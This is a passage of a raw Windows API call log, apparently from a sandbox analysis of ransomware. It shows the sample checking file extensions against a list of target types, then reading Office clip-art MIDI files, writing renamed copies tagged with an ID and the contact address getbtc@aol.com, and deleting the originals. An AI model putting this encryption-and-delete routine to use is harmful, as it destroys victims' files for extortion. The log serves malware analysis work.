Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.805] lstrlenW (lpString=".doc") returned 4 [0242.806] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.806] lstrlenW (lpString=".docx") returned 5 [0242.806] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0242.806] lstrlenW (lpString=".pdf") returned 4 [0242.806] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.806] lstrlenW (lpString=".xls") returned 4 [0242.806] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.806] lstrlenW (lpString=".xlsx") returned 5 [0242.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0242.806] lstrlenW (lpString=".ppt") returned 4 [0242.806] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.806] lstrlenW (lpString=".zip") returned 4 [0242.806] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.806] lstrlenW (lpString=".rar") returned 4 [0242.806] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.806] lstrlenW (lpString=".bz2") returned 4 [0242.806] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.806] lstrlenW (lpString=".7z") returned 3 [0242.806] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.806] lstrlenW (lpString=".dbf") returned 4 [0242.806] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.806] lstrlenW (lpString=".1cd") returned 4 [0242.806] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.806] lstrlenW (lpString=".jpg") returned 4 [0242.806] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.807] lstrlenW (lpString=".doc") returned 4 [0242.807] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.807] lstrlenW (lpString=".docx") returned 5 [0242.807] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0242.807] lstrlenW (lpString=".pdf") returned 4 [0242.807] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.807] lstrlenW (lpString=".xls") returned 4 [0242.807] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.807] lstrlenW (lpString=".xlsx") returned 5 [0242.807] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0242.807] lstrlenW (lpString=".ppt") returned 4 [0242.807] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.807] lstrlenW (lpString=".zip") returned 4 [0242.807] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.807] lstrlenW (lpString=".rar") returned 4 [0242.807] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.807] lstrlenW (lpString=".bz2") returned 4 [0242.807] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.807] lstrlenW (lpString=".7z") returned 3 [0242.807] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.808] lstrlenW (lpString=".dbf") returned 4 [0242.808] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.808] lstrlenW (lpString=".1cd") returned 4 [0242.808] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0242.808] lstrlenW (lpString=".jpg") returned 4 [0242.808] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.808] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.808] lstrlenW (lpString="ROAD_01.MID") returned 11 [0242.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.808] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=5983) returned 1 [0242.808] CloseHandle (hObject=0x390) returned 1 [0242.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0242.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.809] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.809] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0242.809] GetLastError () returned 0x0 [0242.809] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x175f, lpOverlapped=0x0) returned 1 [0242.811] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x1760, lpOverlapped=0x0) returned 1 [0242.812] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0242.812] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.812] SetEndOfFile (hFile=0x3a0) returned 1 [0242.812] CloseHandle (hObject=0x3a0) returned 1 [0242.812] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.812] SetEndOfFile (hFile=0x390) returned 1 [0242.963] CloseHandle (hObject=0x390) returned 1 [0242.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 1 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0242.999] lstrlenW (lpString=".doc") returned 4 [0242.999] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.999] lstrlenW (lpString=".docx") returned 5 [0242.999] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.999] lstrlenW (lpString=".pdf") returned 4 [0242.999] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.999] lstrlenW (lpString=".xls") returned 4 [0242.999] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.999] lstrlenW (lpString=".xlsx") returned 5 [0242.999] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.999] lstrlenW (lpString=".ppt") returned 4 [0242.999] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0242.999] lstrlenW (lpString=".zip") returned 4 [0243.000] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString=".rar") returned 4 [0243.000] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString=".bz2") returned 4 [0243.000] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.000] lstrlenW (lpString=".7z") returned 3 [0243.000] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.000] lstrlenW (lpString=".dbf") returned 4 [0243.000] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.000] lstrlenW (lpString=".1cd") returned 4 [0243.000] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.000] lstrlenW (lpString=".jpg") returned 4 [0243.000] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.000] lstrlenW (lpString=".doc") returned 4 [0243.000] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.000] lstrlenW (lpString=".docx") returned 5 [0243.000] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.000] lstrlenW (lpString=".pdf") returned 4 [0243.000] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString=".xls") returned 4 [0243.000] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString=".xlsx") returned 5 [0243.000] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.000] lstrlenW (lpString=".ppt") returned 4 [0243.000] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.001] lstrlenW (lpString=".zip") returned 4 [0243.001] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.001] lstrlenW (lpString=".rar") returned 4 [0243.001] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.001] lstrlenW (lpString=".bz2") returned 4 [0243.001] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.001] lstrlenW (lpString=".7z") returned 3 [0243.001] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.001] lstrlenW (lpString=".dbf") returned 4 [0243.001] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.001] lstrlenW (lpString=".1cd") returned 4 [0243.001] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0243.001] lstrlenW (lpString=".jpg") returned 4 [0243.001] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.001] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0243.001] lstrlenW (lpString="SUMER_01.MID") returned 12 [0243.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.002] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=14044) returned 1 [0243.002] CloseHandle (hObject=0x3a4) returned 1 [0243.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0243.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.002] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.002] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0243.003] GetLastError () returned 0x0 [0243.003] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x36dc, lpOverlapped=0x0) returned 1 [0243.029] WriteFile (in: hFile=0x338, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x36e0, lpOverlapped=0x0) returned 1 [0243.030] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.030] WriteFile (in: hFile=0x338, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.030] SetEndOfFile (hFile=0x338) returned 1 [0243.056] CloseHandle (hObject=0x338) returned 1 [0243.066] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.070] SetEndOfFile (hFile=0x3a4) returned 1 [0243.141] CloseHandle (hObject=0x3a4) returned 1 [0243.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0243.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.142] lstrlenW (lpString=".doc") returned 4 [0243.142] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.142] lstrlenW (lpString=".docx") returned 5 [0243.142] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.142] lstrlenW (lpString=".pdf") returned 4 [0243.142] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.142] lstrlenW (lpString=".xls") returned 4 [0243.142] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.142] lstrlenW (lpString=".xlsx") returned 5 [0243.142] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.142] lstrlenW (lpString=".ppt") returned 4 [0243.142] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.142] lstrlenW (lpString=".zip") returned 4 [0243.142] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.142] lstrlenW (lpString=".rar") returned 4 [0243.142] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.142] lstrlenW (lpString=".bz2") returned 4 [0243.142] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.142] lstrlenW (lpString=".7z") returned 3 [0243.142] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.142] lstrlenW (lpString=".dbf") returned 4 [0243.142] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.142] lstrlenW (lpString=".1cd") returned 4 [0243.142] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.142] lstrlenW (lpString=".jpg") returned 4 [0243.143] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.143] lstrlenW (lpString=".doc") returned 4 [0243.143] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.143] lstrlenW (lpString=".docx") returned 5 [0243.143] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.143] lstrlenW (lpString=".pdf") returned 4 [0243.143] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.143] lstrlenW (lpString=".xls") returned 4 [0243.143] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.143] lstrlenW (lpString=".xlsx") returned 5 [0243.143] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.143] lstrlenW (lpString=".ppt") returned 4 [0243.143] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.143] lstrlenW (lpString=".zip") returned 4 [0243.143] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.143] lstrlenW (lpString=".rar") returned 4 [0243.143] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.143] lstrlenW (lpString=".bz2") returned 4 [0243.143] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.143] lstrlenW (lpString=".7z") returned 3 [0243.143] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.143] lstrlenW (lpString=".dbf") returned 4 [0243.143] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.143] lstrlenW (lpString=".1cd") returned 4 [0243.143] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0243.143] lstrlenW (lpString=".jpg") returned 4 [0243.143] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.144] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0243.144] lstrlenW (lpString="URBAN_01.MID") returned 12 [0243.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.144] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=13358) returned 1 [0243.144] CloseHandle (hObject=0x3a4) returned 1 [0243.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0243.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.144] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.145] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.145] GetLastError () returned 0x0 [0243.145] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x342e, lpOverlapped=0x0) returned 1 [0243.162] WriteFile (in: hFile=0x204, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x3430, lpOverlapped=0x0) returned 1 [0243.164] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.164] WriteFile (in: hFile=0x204, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.164] SetEndOfFile (hFile=0x204) returned 1 [0243.164] CloseHandle (hObject=0x204) returned 1 [0243.164] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.164] SetEndOfFile (hFile=0x3a4) returned 1 [0243.167] CloseHandle (hObject=0x3a4) returned 1 [0243.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0243.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.180] lstrlenW (lpString=".doc") returned 4 [0243.180] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.180] lstrlenW (lpString=".docx") returned 5 [0243.180] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.180] lstrlenW (lpString=".pdf") returned 4 [0243.180] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.180] lstrlenW (lpString=".xls") returned 4 [0243.180] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.180] lstrlenW (lpString=".xlsx") returned 5 [0243.180] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.180] lstrlenW (lpString=".ppt") returned 4 [0243.180] lstrcmpiW 